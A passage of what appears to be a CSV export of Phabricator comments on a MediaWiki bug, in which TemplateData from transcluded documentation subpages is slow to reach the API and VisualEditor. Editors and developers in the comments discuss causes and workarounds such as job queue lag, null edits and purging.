+Details here: T258335",,,1595500486,,PHID-USER-evd3wnvnlb66lrwulch4,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,368,,1,1,0,1,1,1,1,1,1,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+1549542,Updated TemplateData from transcluded items take a long time to show up,"This continues to be a serious problem. 
+
+Someone deleted some template data on cy wiki from a template on June 24, and it actually broke automatic citaitons on visual editor for *a month* for all citations using the cite web template; even though the edits had since been reverted, but because it will still pulling through templatedata that was a month outdated (i.e. missing.)
+
+Details here: T258335",,,1595500463,,PHID-USER-evd3wnvnlb66lrwulch4,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,368,,1,1,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+1549541,Updated TemplateData from transcluded items take a long time to show up,"This continues to be a serious problem. 
+
+Someone deleted some template data on cy wiki from a template on June 24, and it actually broke automatic citaitons on visual editor for *a month* for all citations using the cite web template; even though the edits had since been reverted. 
+
+Details here: T258335",,,1595500429,,PHID-USER-evd3wnvnlb66lrwulch4,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,368,,1,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+1261760,Updated TemplateData from transcluded items take a long time to show up,"Content translation relies in templateData to transfer templates across languages. In particular, templateData is used to check the names and aliases of the parameters of the corresponding templates across languages. The current issue makes the process of fixing this even more complex for editors as the case of T219346 illustrates.",,,1554885642,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,301,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0
+1185579,Updated TemplateData from transcluded items take a long time to show up,"This issue seems to be the reason why templates of the citation tool are not displayed in VisualEditor. Even a null commit does not resolve the problem, at least for me. Can we expect any bug resolution soon or is it too early/the task is too much difficult to handle it for now? I (and probably other users) really need to use templates.
+
+Thanks.
+
+EDIT: Making a null edit is still useful. However, if someone does not see a template after that, manually running all the job tasks will help, in case they appear to be frozen (or if it takes a really long time to execute all the tasks by the wiki). To do so, execute: ""php <path_to_wiki>/maintenance/runJobs.php"".",,,1543413652,,PHID-USER-gowqth4c6x65hhbw4z4u,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,282,,1,1,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1
+1182940,Updated TemplateData from transcluded items take a long time to show up,"This issue seems to be the reason why templates of the citation tool are not displayed in VisualEditor. Even a null commit does not resolve the problem, at least for me. Can we expect any bug resolution soon or is it too early/the task is too much difficult to handle it for now? I (and probably other users) really need to use templates.
+
+Thanks.",,,1542979491,,PHID-USER-gowqth4c6x65hhbw4z4u,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,281,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,0,0,1,0
+1177245,Updated TemplateData from transcluded items take a long time to show up,"This is an ongoing issue. I was contacted today from a third party wiki wondering why their VE citation tool wasn't working, and the template data wasn't coming through. It was this problem. ",,,1542198870,,PHID-USER-evd3wnvnlb66lrwulch4,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,280,,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+438402,Updated TemplateData from transcluded items take a long time to show up,">>! In T52372#544516, @SalixAlba wrote:
+> What would be nice is if action=purge would force templatedata updates, like null edits do. This is necessary as many templates are protected so only admins can do null edits. Any editor can do an action=purge (I believe).
+
+Hear, hear!  And yes, I certainly //seem// to be able to purge pages I can't edit.",,,1428122408,,PHID-USER-3bnjvlq3zbpzzxdh4g4g,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,91,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,0,0,0,1
+235283,Updated TemplateData from transcluded items take a long time to show up,*** Bug 69647 has been marked as a duplicate of this bug. ***,,,1408689531,,PHID-USER-evd3wnvnlb66lrwulch4,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,59,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+235273,Updated TemplateData from transcluded items take a long time to show up,"(In reply to comment #23)
+> Thanks to Tim's fix this isn't
+> critical any more (users can 'just' null-edit touch the relevant template to
+> cause TemplateData content to come through)
+
+Note: This workaround only works for templates that aren't widely used.
+
+Widely-used templates are protected, and users can't null-edit them unless they are an admin (which drastically reduces the population of people who can add and edit TemplateData on the exact templates which would benefit from TemplateData most).",,,1376401137,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,6,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,1,0,1,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,1,1
+235263,Updated TemplateData from transcluded items take a long time to show up,"Moving this to be a site issue, and re-grading. Thanks to Tim's fix this isn't critical any more (users can 'just' null-edit touch the relevant template to cause TemplateData content to come through), but it's very irritating and we need to fix it.",,,1376122026,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,True,,,5,,1,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,1,0,0
+235258,Updated TemplateData from transcluded items take a long time to show up,"What would be nice is if action=purge would force templatedata updates, like null edits do. This is necessary as many templates are protected so only admins can do null edits. Any editor can do an action=purge (I believe).",,,1376033464,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,5,,1,0,0,1,0,1,1,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0
+235253,Updated TemplateData from transcluded items take a long time to show up,"Tim's change https://gerrit.wikimedia.org/r/#/c/72679/ (deployed) seems to have made it possible to force templatedata updates by just performing a null edit on the affected template, which is now safe to do on highly-used templates. Note that a null edit is an edit made by just pressing ""Save page"" without making _any_ changes to the template code itself.",,,1373338145,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,1,,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0
+235249,Updated TemplateData from transcluded items take a long time to show up,"You appear to just be seeing the effect of weeks of job queue lag, i.e. a system problem, not a MediaWiki problem.",,,1372817050,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+686122,Updated TemplateData from transcluded items take a long time to show up,"Observation:
+
+- Edite <templatedata> block on Template:Pagetype/doc.
+- View https://en.wikipedia.org/w/api.php?format=jsonfm&action=templatedata&titles=Template:Pagetype/doc
+  (with random query params to bust frontend cache)
+  It shows the updated data.
+- View https://en.wikipedia.org/w/api.php?format=jsonfm&action=templatedata&titles=Template:Pagetype
+  (with random query to bust frontend cache)
+  It shows the old version still.
+- View https://en.wikipedia.org/wiki/Template:Pagetype
+  It shows the updated version in the HTML version of the data
+  (not sure whether the html update was triggered by a deferred update
+  as a result of me editing the sub page or by me viewing the page,
+  either way the output is updated).
+
+- View https://en.wikipedia.org/w/api.php?format=jsonfm&action=templatedata&titles=Template:Pagetype/doc
+  (with random query to bust frontend cache)
+  It shows the updated data.
+- View https://en.wikipedia.org/w/api.php?format=jsonfm&action=templatedata&titles=Template:Pagetype
+  (with random query to bust cache)
+  It shows the old version still.
+
+- Check https://en.wikipedia.org/w/api.php?format=jsonfm&action=query&meta=siteinfo&siprop=statistics and saw there are no pending jobs (not sure if this data is accurate though, it seemed to be accurate as edit count was going up on each refresh).
+
+
+- Make a null edit to ""Template:Pagetype"".
+
+- View https://en.wikipedia.org/w/api.php?format=jsonfm&action=templatedata&titles=Template:Pagetype
+  (with random query to bust cache)
+
+  It now shows the latest data, update succeeded.
+
+
+So what is causing this to not be auto updated? I think T7382. But having trouble figuring out how come bug 5382 exists since we do have LinkUpdate and RefreshLinks2 which are triggered on edit from the job queue and update all pages linking to it, and the code in LinkUpdate includes all link tables and page properties.",,,1467215528,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,True,,,156,,1,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,0,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1
+235245,Updated TemplateData from transcluded items take a long time to show up,"Observation:
+
+- Edite <templatedata> block on Template:Pagetype/doc.
+- View https://en.wikipedia.org/w/api.php?format=jsonfm&action=templatedata&titles=Template:Pagetype/doc
+  (with random query params to bust frontend cache)
+  It shows the updated data.
+- View https://en.wikipedia.org/w/api.php?format=jsonfm&action=templatedata&titles=Template:Pagetype
+  (with random query to bust frontend cache)
+  It shows the old version still.
+- View https://en.wikipedia.org/wiki/Template:Pagetype
+  It shows the updated version in the HTML version of the data
+  (not sure whether the html update was triggered by a deferred update
+  as a result of me editing the sub page or by me viewing the page,
+  either way the output is updated).
+
+- View https://en.wikipedia.org/w/api.php?format=jsonfm&action=templatedata&titles=Template:Pagetype/doc
+  (with random query to bust frontend cache)
+  It shows the updated data.
+- View https://en.wikipedia.org/w/api.php?format=jsonfm&action=templatedata&titles=Template:Pagetype
+  (with random query to bust cache)
+  It shows the old version still.
+
+- Check https://en.wikipedia.org/w/api.php?format=jsonfm&action=query&meta=siteinfo&siprop=statistics and saw there are no pending jobs (not sure if this data is accurate though, it seemed to be accurate as edit count was going up on each refresh).
+
+
+- Make a null edit to ""Template:Pagetype"".
+
+- View https://en.wikipedia.org/w/api.php?format=jsonfm&action=templatedata&titles=Template:Pagetype
+  (with random query to bust cache)
+
+  It now shows the latest data, update succeeded.
+
+
+So what is causing this to not be auto updated? I think bug 5382. But having trouble figuring out how come bug 5382 exists since we do have LinkUpdate and RefreshLinks2 which are triggered on edit from the job queue and update all pages linking to it, and the code in LinkUpdate includes all link tables and page properties.",,,1372807585,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,True,,,0,,1,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,0,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1
+235240,Updated TemplateData from transcluded items take a long time to show up,"Timo has narrowed down the issue to bug 5382 - we're working now to see whether we can fix that bug and so resolve this, or whether that will put too much weight on the cluster.",,,1372802966,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,True,,,0,,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+235235,Updated TemplateData from transcluded items take a long time to show up,"Thought I'd drop a note and say that when I tried a null edit on https://en.wikipedia.org/wiki/Template:Mileposts, the overall template description loaded right away on https://en.wikipedia.org/wiki/British_Columbia_Highway_7. However, the parameter description (km=) did not load until I deleted the template from the article and reinserted the template anew.",,,1372802403,,PHID-USER-jdkjcyuluyy456zxyufo,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+235228,Updated TemplateData from transcluded items take a long time to show up,"I added[1] templatedata to en.wiki [[Template:Redirect]] yesterday (through the /doc transclusion) and also noticed that the main template page wasn't updating (I waited for about 10 minutes).
+
+Then I did a null-edit on Template:Redirect and it was instantly there.
+
+Roan mentioned something earlier (IRC or IRL, don't remember) about this perhaps being caused by the JobQueue (which we use to invalidate pages transcluding other pages, in this case the transclusion of /doc into Template:. *NOT* the transclusion of Template into articles, of course, that'd be insane).
+
+CC-ing Roan, Tim and Aaron who may have more ideas about the cause of this.
+
+As for TemplateData itself, it is triggered as a extension parser tag (<templatedata>) and during the parsing it adds page properties which MediaWiki ends up storing in the page_props db table. The API does a read query from that same table. Pretty basic.
+
+So what could cause the read query to the page_props table to be delayed (or perhaps even not happen at all?) from the page properties added by a page that is transcluded (Template:Foo/doc) into a template page (Template:Foo).
+
+JobQueue? Database replication? Something else?
+
+Note that in my testing yesterday on Template:Redirect I ruled out HTTP caching (API cluster Squid) by making unique urls each time.
+
+
+[1] https://en.wikipedia.org/w/index.php?title=Template%3ARedirect%2Fdoc&diff=562472124&oldid=562471783",,,1372798204,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,True,,,0,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,0,1,1,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,0,1
+235224,Updated TemplateData from transcluded items take a long time to show up,"Wouldn't we avoid this delay if the template data were in a specific namespace, instead of being saved in one page, which is transcluded in another, which on its turn may be transcluded another, and so on, until the data finally gets to the template? See bug 50512.",,,1372774328,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,1,1,0,0,0,0,0
+235218,Updated TemplateData from transcluded items take a long time to show up,"The extension page says:
+
+""The TemplateData extension works through having a <templatedata> tag defined in the wikitext of a template page (optionally it can be transcluded into the template page as well). This is designed to be compatible with the common layout many wikis have of transcluding template documentation from a separate page (but is not required).""
+
+And this seems to work partly, e.g. for https://en.wikipedia.org/wiki/Template:Italic_title.  TemplateData is at https://en.wikipedia.org/wiki/Template:Italic_title/doc and it comes up at https://en.wikipedia.org/w/api.php?action=templatedata&titles=Template:Italic%20title&format=jsonfm , but it doesn't seem to actually work in VE (e.g. no description).
+
+Then, https://en.wikipedia.org/wiki/Template:Dead_link appears set up similar, with TemplateData at https://en.wikipedia.org/wiki/Template:Dead_link/doc .  But it does not come up at https://en.wikipedia.org/w/api.php?action=templatedata&titles=Template:Dead%20link&format=jsonfm .  It does come up at https://en.wikipedia.org/w/api.php?action=templatedata&titles=Template:Dead%20link/doc&format=jsonfm (explicitly asking for the /doc page).",,,1372748147,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,True,,,0,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,1,1,0,0,1,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+235211,Updated TemplateData from transcluded items take a long time to show up,"Indeed, I cannot see templatedata hinting on en.wp for _any_ templates supposedly annotated per https://en.wikipedia.org/w/api.php?action=query&list=pageswithprop&pwppropname=templatedata&pwpprop=ids|title|value&format=jsonfm and https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/TemplateData . Escalating priority.",,,1372739834,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,0,,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+235205,Updated TemplateData from transcluded items take a long time to show up,https://en.wikipedia.org/wiki/Template:Mileposts was updated 48 hours ago and still hasn't shown. That seems like a time period even the squids should blink at.,,,1372694998,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+235199,Updated TemplateData from transcluded items take a long time to show up,"Though it is possible that VisualEditor and/or TemplateData do something wrong, in general there's nothing relevant in either VisualEditor or TemplateData that can delay the updating of the data.
+
+The template data is changes by users by editing the wikitext of a Template page (or a page transcluded into a Template page). When they click ""Save page"", the MediaWiki parser detects the <templatedata> tag, tells the TemplateData extension to make sense of it, which then adds (or replaces) the parsed data in the database.
+
+There is no deferred update here, it is replaced directly.
+
+The API request to fetch templatedata grabs it directly from the database. This isn't specifically cached in anyway.
+
+The only caching layer is in your browser cache and the general cache in the Wikimedia cluster for HTTP requests to content domain names (e.g. ""en.wikipedia.org"") which is Squid.",,,1372559871,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,2,True,,,-1,,0,1,0,1,1,1,1,0,1,0,1,1,0,1,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+235193,Updated TemplateData from transcluded items take a long time to show up,"The behavior seems inconsistent. Today, TemplateData was available in transclusions immediately after adding it to the template's documentation subpage. (tested with https://fr.wikipedia.org/wiki/Mod%C3%A8le:Unit%C3%A9 )",,,1372513536,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+235187,Updated TemplateData from transcluded items take a long time to show up,"Argh, that's not good - https://en.wikipedia.org/w/api.php?action=templatedata&titles=Template:Talkback is not updated even though it appears in transclusion, even after purge. Timo, thoughts?",,,1372457003,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0
+235179,Updated TemplateData from transcluded items take a long time to show up,https://en.wikipedia.org/wiki/User:Okeyes_%28WMF%29/sandbox?veaction=edit <- check out the talkpage template.,,,1372456502,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+235173,Updated TemplateData from transcluded items take a long time to show up,"(In reply to comment #6)
+> Nope; remember that time I added it to the bugzilla tracked template, and
+> nothing happened?
+
+No.
+
+> Well, it started working finally some time today.
+
+That's not good. Did you purge the template, or did it get purged somehow (e.g. it was edited)?
+
+> I'm going to try implementing it in a couple of other minor places and look
+> at what happens.
+
+OK.",,,1372455968,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+235167,Updated TemplateData from transcluded items take a long time to show up,"Nope; remember that time I added it to the bugzilla tracked template, and nothing happened? Well, it started working finally some time today. I'm going to try implementing it in a couple of other minor places and look at what happens.",,,1372455886,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,0
+235160,Updated TemplateData from transcluded items take a long time to show up,"(In reply to comment #4)
+> I'd go with A and C, Chris. If I add TemplateData to a template, go to an
+> implementation of it that already exists and click the jigsaw piece, how long
+> do I need between those actions to see the TemplateData?
+
+A: This should be instantaneous - if not, action=purge on the template should do it; if not, this is an issue we need to follow-up in general with how MW works.
+B: This is not yet done (bug 49778 which is being worked on right now).
+C: This should be near-instantaneous (but we're about to change how this works to make it faster).
+
+For A & C in particular as you've asked, seconds or even less. Was this during a time of serious server strain, maybe? Otherwise it sounds worrying.",,,1372454024,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,1,0,1
+235155,Updated TemplateData from transcluded items take a long time to show up,"I'd go with A and C, Chris. If I add TemplateData to a template, go to an implementation of it that already exists and click the jigsaw piece, how long do I need between those actions to see the TemplateData?",,,1372451744,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+235150,Updated TemplateData from transcluded items take a long time to show up,"(In reply to comment #2)
+> As does the fr implementation. I guess the question here is ""how long does it
+> take for TemplateData implementations to show up?""
+
+Do you mean,
+
+* ""how long does it take newly-added TemplateData hinting to become available in the API for use in VisualEditor?"",
+* ""how long does it take the VisualEditor transclusions dialog to show with the TemplateData hinting when adding a template in?"", or
+* ""how long does it take the VisualEditor transclusions dialog to show with the TemplateData hinting on load?""
+
